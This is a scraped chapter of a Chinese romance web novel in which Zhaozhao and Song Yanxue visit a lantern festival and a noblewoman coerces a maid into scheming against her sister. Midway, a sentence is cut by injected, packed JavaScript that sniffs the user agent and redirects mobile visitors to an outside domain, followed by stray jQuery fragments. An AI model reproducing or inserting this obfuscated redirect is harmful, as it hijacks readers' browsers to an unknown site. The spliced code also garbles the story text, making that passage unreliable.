25. 第 25 章
作品:《渣了夫君好友后》 “昭昭娘子可以放手了。”
富有磁性的嗓音在耳畔响起,昭昭低头发现自己不知什么时候抓住了宋砚雪的衣角,而禁锢在她腕上的手已经离开。
“对不住。”昭昭尴尬地收回手,视线扫过他爬满皱纹的衣衫。
“方才得罪了。”宋砚雪转身与她对视,语气舒缓而自然,“是世子让我这么做,娘子不必有心理负担。”
“那便好,那便好。”
昭昭抚了抚心口,气顺后撩起皂纱以手扇风,寒冬腊月的天,她竟然觉得有些发热,也许是这幕篱不太透气的缘故。
雪下得愈发大,宋砚雪站在一朵莲花灯附近,幽幽的蓝光映照在他漆黑的眸子里,光点明明灭灭,看不出里边藏着什么情绪。
解除幕篱的隔挡,昭昭能够很清楚地看见他的面容,眉目如画,肌肤胜雪,五官精致地挑不出任何不完美处,昭昭暗想,女娲捏他时心情一定很好。
漫天的雪花落了他满身,再加上身旁簇拥的团团莲花,她忽然想到高坐神坛的观音,也是如他一般淡然、平静,与他对视好似一切喧嚣和烦恼都消失了。
“观音”动了动,问:“你想在这等世子,还是我先送你回去?”
经历方才一波曲折,昭昭没了兴致,遂答道:“世子一时半会应该回不来,劳烦郎君送我回去吧。”
“好。”
宋砚雪点头,拨开人群往外走,时不时会回头确认她的方位。
昭昭默默跟在他身后。
她以为自己失去兴致,但毕竟是头一回逛花灯会,走着走着眼睛不由自主地飘向周围五光十色的花灯,起先还能跟上宋砚雪,路过一处卖兔儿灯的摊位时便移不动道了,满眼都是那会旋转的兔儿灯。
等她回过神,宋砚雪已经不见踪迹。
“宋郎君。”
昭昭左右唤了几声,无人应她。
看来今晚只能自己走回去了。
昭昭很快接受了这个现实,取下幕篱随意扔到一旁,开始漫无目的地往人群深处走。
每当有男子不怀好意地看过来,她便狠狠盯回去,袖口收着的长簪蓄势待发。
没有卫嘉彦,她可以更自在地保护自己。
她从来不是什么见不得人的存在,美貌于她而言是借力的利器,若是因为怕人觊觎便退缩,岂不是容忍他人,为自己戴上枷锁?
卫嘉彦愿意做些无聊的事来满足他的占有欲,她可以陪他演到底,扮好一棵菟丝花。但既然他不在,她也可以稍微抽身出来放松下心情。
那破幕篱又闷又重,顶得她脖子酸胀,看花灯也只能看个轮廓,瞧不真切,不知是谁制出此物,简直百害无一利。
好在她摆脱了此物,可以停下来慢慢观赏周遭美好的花灯,这大概是近几个月她最为放松的时刻。
昭昭如一尾鱼自由穿梭游走于人群中,头顶是由琉璃和油纸编织成的庞大灯群,如银河倾泻,一路延伸至看不见的尽头,每当遇见喜欢的样式,她便停驻欣赏片刻。
她看得投入,周围又嘈杂,全然没注意到身后有规律的脚步声。
不知不觉,眼前出现一座庞然大物,也是花灯会的压轴展品——鳌山灯。
鳌山灯位于花灯会中心,以八仙过海为题,数位仙人各显神通。大大小小的花灯重叠,活灵活现地还原了故事的情节。
有顽皮孩童爬到鳌山灯上嬉闹,底下站着的夫妻又急又怕,众人看得心惊,奋勇上前围成圈,将孩子团团围住,即使不慎掉下来也可以及时接住。
这番举动更加助长那小童的气焰,像猿猴般灵活地爬到最高处,摘了仙人的发冠戴到头顶,耀武扬威地走来走去,底下众人不由被其逗乐,有好事者鼓掌欢呼,气氛由紧张转为热烈。
昭昭站在人群后,旁观众人的热闹,嘴角满足地扬起一个极小的弧度。
那孩童受了鼓舞,愈发兴奋,随手摘下花灯,天女散花般朝下面扔去,众人争相抢夺,乐此不疲。
人群渐渐推搡起来,有人从背后推了昭昭一把,她踉跄着扑向前,好不容易撑住架子站稳,一抬头竟然已经站到鳌山灯脚下。
近距离从下往上看,鳌山灯竟然高耸到一眼望不见尽头,犹如一头怒吼的巨兽。
昭昭渐渐看得入迷,没有听见越来越近的脚步声。
“该走了。”
背后响起男人和而缓的声音,“已经耽搁够久了。”
昭昭一个激灵,蓦地回头,不由眼前一亮。
青年站在不远处,银白发带随风飘扬,任四周各色花灯璀璨绚烂,也不及他半分好颜色。
黑压压的人群自动为其分开一条道,走近了昭昭才看见他手里还托着幕篱,胸腔立刻浮现莫名的烦躁。
也就是说,从她扔掉幕篱起,他就跟着她了。那么她一路上的种种行为,也尽入他眼。
昭昭态度不免有些警觉,语气带着几分生硬:“宋郎君,你不是走了么?”
“我没有抛下你,是你走路不专,与我走散了。”宋砚雪如玉的脸庞上浮现一抹异样,又很快消失,快得让人瞧不真切。
宋砚雪从来都是淡定地如同一尊泥菩萨,少有失态,昭昭疑心自己看错,上前一步问道:“郎君生气了?”
“没有。”宋砚雪转身,自顾自往前走,步子不似之前闲适,隐隐带着不耐。
昭昭好笑地盯着他清俊的背影,越看越觉得他怪怪的,冲到他身侧,扬起脸笑道:“原来郎君也会生气,真稀奇。”
宋砚雪斜她一眼,面无表情道:“随你如何想,这回你再不跟上,我不会再回头寻你。”
“郎君说的什么话,我又不是故意与你走散的。”
昭昭觉得自己发现了比花灯更好玩的事,追着宋砚雪不依不饶地说话,企图激怒他。她也不知道自己哪儿来的恶趣味,大约是和欺负老实人一个道理。
但宋砚雪明显不是老实人,他被问烦了,两手一翻将幕篱推过去,微微笑道:“要不,娘子还是戴上?”
昭昭这时候也没有什么装的必要,努努嘴道:“我不戴,看不清路。”
“那就莫要寻我开心。”
昭昭被他猜中心思,盯着脚下的路,不敢再烦他了。
回忆宋砚雪与王氏姐妹的接触,她意识到宋砚雪与卫嘉彦有很大不同,在他那儿压根没有怜香惜玉四个字,她还是不要做得太过,惹他厌烦。
宋砚雪看一眼她垂下的头顶,收回手继续往前走。刚走出一步,一团光晕快速从斜边飞来,被他眼疾手快地接住,揣在怀中。
几米之外的鳌山灯上,男孩朝这边比了个鬼脸,脚下堆砌着大大小小的花灯。
“哇。”昭昭双眼放光地看向他掌心的小灯,造型形似一个南瓜,表面还用墨水勾出笑脸,精致又可爱。
她一脸期待地望向宋砚雪,眼底亮晶晶的,就差把“想要”二字写在脸上。
然而宋砚雪没有让她失望,他掌心转了转,略微打量一眼便想扔出去,眼睛都没带眨一下。
昭昭:“……”
好歹毒的男人。
“哎,你别扔。”昭昭蹦起来阻止他,发髻上的毛绒球随之晃荡。
“无用之物。”宋砚雪不为所动,抬手隔挡她,瞧准空隙就要往旁边扔。
昭昭急的不行,脱口而出道:“我送了你一屉糯米圆子,你把这玩意给我,咱们就扯平了。”
“太甜了,我没吃。”
“你没吃怎么知道是甜的!吃了还不承认。”
宋砚雪侧头掩过笑意,手上力道悄然卸去,任她将灯抢走。
女子如获至宝般将南瓜灯捧在心口,鸦羽般的睫毛轻轻颤动,她爱不释手的模样让他不禁多看几眼,掌心残留的烛火温度有些发烫。
直到回了侯府,昭昭还满心欢喜地捧着南瓜灯,睡觉时将灯放进被褥,狭小的空间里,灯火更加明亮温暖,最后一滴蜡油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15770398|173378||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燃尽,她满足地进入梦乡,嘴角带着甜甜的笑。
卫嘉彦送完王毓芝,没有过多停留,看她进门后马不停蹄往花灯会赶,没在原地瞧见两人身影,猜想他们已经回府,便卸了马,快马加鞭回去了。
路过一处摊位时,他勒停马,多看了眼那旋转的兔儿灯。
翌日清晨,昭昭醒来时雪停了,外边房顶白茫茫一片,天地连成一色,她哈气搓了搓脸颊,正在做思想准备撩开被褥下床时,一抬头看见床头挂了盏白身红眼的兔儿灯,内里烛火已经熄灭,兔儿欢快地旋转奔跑,仿佛永远不会停歇。
昭昭默默垂下眼睫。
-
东园巷,太傅府。
“娘子,那丫头来了。”
春夏扭着腰,一路将人从后门领到后花园偏僻的假山里,两人弯腰进洞。
角落里站了个素白纱裙的女子,脸色发青,眼下乌黑,通身散发丝丝凉气,在昏暗的山洞里像吸人魂魄的女鬼。
环青与她对视的瞬间脑子里咯噔一声,赶紧跪了下来,肩膀微微发抖:“奴婢拜见二娘子。”
“原来你还记得我这个主子。”王毓芝冷笑一声,“我还当你跟着大姐姐去侯府享了几天福,就忘了自己从哪儿来的。”
环青咬紧下唇道:“奴婢不敢。”
“当初你偷了府里的钱去救你母亲的命,若不是我费尽心力将你保下来,你以为你还能安然站在这里?”
“二娘子的恩情,奴婢一辈子铭记在心。”环青俯身磕了个头,“二娘子有何吩咐,尽管驱使奴婢。”
王毓芝唇边笑意愈盛,转头朝春夏使了个眼色。
春夏点头,走到环青身旁与她耳语。
环青听罢,眼底闪过困惑:“二娘子的意思,奴婢知晓了。只是您既然想对付她,为何……”
她想说,为何不干脆利落点?
春夏说了半天无非就是一句话——挑拨王琬和昭昭。
她很清楚王毓芝有多么心狠,为了整治昭昭不惜将她安插在侯府,原以为会真刀真枪地干,没想到高高拿起又轻轻放下,实在不符合她的风格。
春夏和王毓芝对视一眼,主仆多年,两人早就有了深厚的默契,不用王毓芝说话,春夏便笑着代为答道:“大娘子是只纸老虎,不逼她一把,是不会咬人的。”
王毓芝噗嗤一笑,说得更加直白:“我那大姐姐是个蠢的,表面上看着耀武扬威,实际上只知道窝里横,尽晓得仗着嫡女的权势欺负我。对付外人,就算给她一百个胆,她也做不出什么,顶多嘴贱骂上几句解解气罢了。”
环青回想与王琬这段时间的相处,还真是王毓芝说的这样。
她本以为王琬是个嚣张跋扈的主,实际上她对待自己人十分大方,就是脾气爆了点,没什么弯弯绕绕,是个刀子嘴豆腐心。若论心机城府,一概是没有的。
她没办法说王琬的坏话,只能附和道:“娘子说的是。”
王毓芝接着道:“所以啊,你要在关键时刻帮她一把,将刀递到她手上。你是聪明人,多的我就不说了,该怎么办你该清楚。想来你也不愿意你母亲继续受苦,我说的对吗?”
环青胸口一闷,使劲点头道:“奴婢省的,娘子放心。”
一席话说完,春夏亲自把环青送出王府,而后径直回了王毓芝所在的院子。
主仆两人坐在窗边有一搭没一搭地聊天,春夏边替她捏腿边道:“娘子,你说环青会照做吗?大娘子虽蠢,对身边人却不差,惯会笼络人心。她身在侯府,我们没办法监视她,就怕生出二心。”
“你觉得她有那个脑子吗?”王毓芝很受用春夏的按摩,舒服地眯起眼睛,“当初设计她偷钱一事,明明有那么多破绽,她不也到现在都没看出来?再说她娘在我们手上,还怕她不听话?”
“娘子说的是,是奴婢想多了。”
春夏缓缓加重力道,两人闲聊一会,王毓芝便被喊去伺候老夫人。